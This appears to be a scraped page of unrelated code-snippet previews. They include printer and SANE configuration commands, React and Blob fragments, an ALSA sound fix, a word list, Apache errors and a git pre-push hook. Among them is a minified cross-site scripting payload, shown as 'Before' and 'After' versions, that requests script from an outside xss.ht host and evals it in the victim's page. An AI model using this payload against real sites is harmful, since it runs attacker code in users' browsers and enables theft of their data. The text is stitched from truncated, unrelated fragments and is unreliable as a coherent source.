Find printer IP
lpinfo -v
Replace the USB entry with TCP
nano /etc/sane.d/xerox_mfp.conf
componentDidUpdate: function(prevProps, prevState) { | |
var differentProps = {}; | |
var differentState = {}; | |
var k; | |
for(k in prevProps) { | |
if(prevProps[k] !== this.props[k]) { | |
differentProps[k] = [prevProps[k], this.props[k]]; | |
} | |
} |
var buffer = new ArrayBuffer(8); | |
var left = new DataView(buffer, 0, 4); | |
try { | |
//Throws InvalidStateError in IE 11. | |
//It does work if we use a specific view like Uint8Array and not the generic DataView contructor. | |
new Blob([left]); | |
} catch(ex) { | |
alert(ex.message); | |
} |
Find printer IP
lpinfo -v
Replace the USB entry with TCP
nano /etc/sane.d/xerox_mfp.conf
https://communities.intel.com/thread/108361
sudo nano /etc/modprobe.d/alsa-base.conf
options snd-hda-intel model=dell-headset-multi
peng 3 | |
bebop 3 | |
gar 3 | |
newt 3 | |
ref 3 | |
yeven 3 | |
bats 3 | |
boles 3 | |
kea 3 | |
urger 3 |
//Before | |
function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//*.xss.ht");a.send(); | |
//After | |
with(new XMLHttpRequest){onload=a=>eval(responseText);open("GET", "//*.xss.ht");send()} |
(13)Permission denied: AH00072: make_sock: could not bind to address [::]:80 | |
(13)Permission denied: AH00072: make_sock: could not bind to address 0.0.0.0:80 | |
no listening sockets available, shutting down | |
AH00015: Unable to open logs |
<!DOCTYPE html> | |
<head> | |
<meta charset="utf-8"> | |
</head> | |
<body> | |
<svg width="500" height="500"> | |
<clipPath id="clippy1"></clipPath> | |
<clipPath id="clippy2"></clipPath> | |
<clipPath id="clippy3"></clipPath> |
Similar to the toggle
handler, but it will detach the element from the DOM instead of just hiding it. Much like knockout's if
binding.
Usage
<div data-bind="if: someCondition"></div>
where someCondition
can of course also be a computed property, so this gives you all flexibility you need.
git status --porcelain | grep '^??' | |
rc=$? | |
#grep exits with 0 when a match is found. | |
if [ $rc = 0 ] ; then | |
echo "Untracked files present. Aborting push."; | |
exit 1; | |
fi |